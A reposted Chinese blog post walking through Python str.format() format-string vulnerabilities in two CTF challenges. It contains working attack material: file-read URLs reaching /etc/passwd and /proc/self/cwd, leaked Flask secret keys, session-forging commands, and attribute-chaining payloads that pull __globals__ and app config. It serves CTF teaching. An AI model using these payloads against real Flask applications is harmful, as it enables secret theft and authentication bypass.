[转载] python格式化字符串漏洞_从两道CTF实例看python格式化字符串漏洞

参考链接: Python str.format()中的漏洞

>>> name = 'Hu3sky'

 >>> s = Template('My name is $name')

 >>> s.substitute(name=name)

 'My name is Hu3sky'

 使用format进行格式化字符串

 format的使用就很灵活了,比如以下

 最普通的用法就是直接格式化字符串

 >>> 'My name is {}'.format('Hu3sky')

 'My name is Hu3sky'

 指定位置

 >>> 'Hello {0} {1}'.format('World','Hacker')

 'Hello World Hacker'

 >>> 'Hello {1} {0}'.format('World','Hacker')

 'Hello Hacker World'

 设置参数

 >>> 'Hello {name} {age}'.format(name='Hacker',age='17')

 'Hello Hacker 17'

 百分比格式

 >>> 'We have {:.2%}'.format(0.25)

 'We have 25.00%'

 获取数组的键值

 >>> '{arr[2]}'.format(arr=[1,2,3,4,5])

 '3'

 用法还有很多,就不一一列举了

 这里看一种错误的用法

 先是正常打印

 >>> config = {'SECRET_KEY': 'f0ma7_t3st'}

 >>> class User(object):

 ... def __init__(self, name):

 ... self.name = name

 >>> 'Hello {name}'.format(name=user.name)

 Hello hu3sky

 恶意利用

 >>> 'Hello {name}'.format(name=user.__class__.__init__.__globals__)

 "Hello {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'config': {'SECRET_KEY': 'f0ma7_t3st'}, 'User': , 'user': <__main__.user object at>}"

 可以看到,当我们的name=user.__class__.__init__.__globals__时,就可以将很多敏感的东西给打印出来

 SWPUCTF 皇家线上赌场

 文件读取

 根据首页弹出的xss,来到路径

 http://107.167.188.241/static?file=test.js

 接着发现任意文件读取

 http://107.167.188.241/static?file=/etc/passwd

 发现泄露:

 http://107.167.188.241/source

 文件目录

 [root@localhost]# tree web

 web/

 ├── app

 │ ├── forms.py

 │ ├── __init__.py

 │ ├── models.py

 │ ├── static

 │ ├── templates

 │ ├── utils.py

 │ └── views.py

 ├── req.txt

 ├── run.py

 ├── server.log

 ├── start.sh

 └── uwsgi.ini

 [root@localhost]# cat views.py.bak

 filename = request.args.get('file', 'test.js')

 if filename.find('..') != -1:

 return abort(403)

 filename = os.path.join('app/static', filename)

 /etc/mtab文件:

 /etc/mtab该文件也是记载当前系统已经装载的文件系统,包括一些操作系统虚拟文件,这跟/etc/fstab有些不同。/etc/mtab文件在mount挂载、umount卸载时都会被更新, 时刻跟踪当前系统中的分区挂载情况。

 /proc/mounts文件:

 其实还有个/proc/mounts,这个文件也记录当前系统挂载信息,通过比较,/etc/mtab有的内容,/proc/mounts也有,只是序有所不同,另外还多了一条根文件系统信息:

 查看工作目录

 /proc/mounts 或者 /etc/mtab

 发现web

 /home/ctf/web_assli3fasdf

 但是除了

 http://107.167.188.241/static?file=/home/ctf/web_assli3fasdf/app/static/test.js,其余的文件都读不到

 绕过目录限制

 可以用/proc/self/cwd绕过,cwd是一个符号链接,指向了实际的工作目录

 views.py http://107.167.188.241/static?file=/proc/self/cwd/app/views.py

 def register_views(app):

 @app.before_request

 def reset_account():

 if request.path == '/signup' or request.path == '/login':

 return

 uname = username=session.get('username')

 u = User.query.filter_by(username=uname).first()

 if u:

 g.u = u

 g.flag = 'swpuctf{xxxxxxxxxxxxxx}'

 if uname == 'admin':

 return

 now = int(time())

 if (now - u.ts >= 600):

 u.balance = 10000

 u.count = 0

 u.ts = now

 u.save()

 session['balance'] = 10000

 session['count'] = 0

 @app.route('/getflag', methods=('POST',))

 @login_required

 def getflag():

 u = getattr(g, 'u')

 if not u or u.balance < 1000000:

 return '{"s": -1, "msg": "error"}'

 field = request.form.get('field', 'username')

 mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()

 jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'

 return jdata.format(field, g.u, mhash)

 非admin用户10分钟会重置一次,所以需要构造admin和大于1000000的钱

 __init__.py: http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py

 拿到s_key 即可伪造session

 from flask import Flask

 from flask_sqlalchemy import SQLAlchemy

 from .views import register_views

 from .models import db

 def create_app():

 app = Flask(__name__, static_folder='')

 app.secret_key = '9f516783b42730b7888008dd5c15fe66'

 app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:tmp/test.db'

 register_views(app)

 db.init_app(app)

 return app

 利用脚本解密session

 {'csrf_token': '1021549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 10000, 'username': 'hu3sky'}

 接着用key伪造

 "{'csrf_token': '10

 21549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 1000000, 'username': 'admin'}"

 

 format格式化字符串漏洞

 然后访问/getflag

 关键代码

 def getflag():

 u = getattr(g, 'u')

 if not u or u.balance < 1000000:

 return '{"s": -1, "msg": "error"}'

 field = request.form.get('field', 'username')

 mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()

 jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'

 return jdata.format(field, g.u, mhash)

 这里是format格式化字符串漏洞

 可以发现,最后的jdata.format(field, g.u, mhash) 里的field是我们可控的,field是request.form.get 从request上下文中的get方法获取到的

 于是大致的思路是找到g对象所在的命名空间,找到getflag方法,然后调__globals__获取所有变量,再从getflag方法中取出g对象。由于提升了有save方法

 所以最后构造的payload

 field=save.__globals__[SQLAlchemy].__init__.__globals__[current_app].__dict__[view_functions][getflag].__globals__[g].flag

 百越杯Easy flask

 环境:https://github.com/hongriSec/CTF-Training/tree/master/2018/%E7%99%BE%E8%B6%8A%E6%9D%AF2018/Web

 环境搭建

 修改工作目录名为flaskr

 然后set FLASK_APP=__init__.py

 接着flask init-db 初始化数据库

 就可以flask run了

 用户遍历

 打开题目,有注册和登陆(源码里没附css。。搭出来的环境界面很简单)

 

 先注册账号

 登陆

 

 可以看到有一个edit secert的功能

 

 提交后会显示在页面上

 

 观察url

 views?id=6

 于是我们修改id,发现可以遍历用户,在id=5时是admin

 

 源码审计

 通过www-zip下载到源码

 目录结构

 

 几个关键点

 auth.py

 ... //省略

 @bp_auth.route('/flag')

 @login_check

 def get_flag():

 if(g.user.username=="admin"):

 with open(os.path.dirname(__file__)+'/flag','rb') as f:

 flag = f.read()

 return flag

 return "Not admin!!"

 ...//省略

 secert.py

 ...//省略

 @bp_secert.route('/views',methods = ['GET','POST'])

 @login_check

 def views_info():

 view_id = request.args.get('id')

 if not view_id:

 view_id = session.get('user_id')

 user_m = user.query.filter_by(id=view_id).first()

 if user_m is None:

 flash(u"该用户未注册")

 return render_template('secert/views.html')

 if str(session.get('user_id'))==str(view_id):

 secert_m = secert.query.filter_by(id=view_id).first()

 secert_t = u"

 {secert.secert}

 ".format(secert = secert_m)

 else:

 secert_t = u"

 ***************************************

 "

 name = u"

 name:{user_m.username}

 "

 email = u"

 email:{user_m.email}

 "

 info = (name+email+secert_t).format(user_m=user_m)

 return render_template('secert/views.html',info = info)

 ...//省略

 format格式化字符串

 从auth可以看到,当用户是admin的时候才可以访问/flag

 在已登录的用户里发现了session

 

 用脚本解密

 (test_py3) λ python flask_session解密.py "eyJ1c2VyX2lkIjo2fQ.XFKzTQ.Ucu4Lbwm0b0nJM8QM_9j41MGkPc

 "

 {'user_id': 6}

 于是现在思路很明确了

 伪造成admin->访问/flag->get flag

 那么现在就要想办法拿到SECRET_KEY这样才能伪造session

 在secret.py

 

 两处format,第一处的secret是我们可控的,就是edit secert,于是测试

 当我提交{user_m.password}时

 

 出现了sha256加密的密码,于是我们就可以通过这里去读SECRET_KEY

 

 在secert.py的开头import了current_app,于是可以通过获取current_app来获取SECRET_KEY

 payload

 {user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

 Session伪造

 获取到SECRET_KEY 后,就是利用脚本伪造session了

 利用加密脚本生成session

 (test_py3) λ python flask_session加密.py encode -t "{'user_id': 5}" -s "test"

 eyJ1c2VyX2lkIjo1fQ.XFLUdg.rVvk_CdUlXvLedmJSCD8YYUABZg

 修改session后

 

 访问 /flag

 

 总结

 在一般的CTF中,通常格式化字符串漏洞会和session机制的问题,SSTI等一起出现.一般来说,在审计源码的过程中,看到了使用format,且可控,那基本上就可以认为是format格式化字符串漏洞了。

 参考文章

 https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html

 https://bbs.ichunqiu.com/thread-48533-1-1.html

 https://mochazz.github.io/2018/12/11/python%20web%E4%B9%8Bflask%20session&%E6%A0%BC%E5%BC%8F%E5%8C%96

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值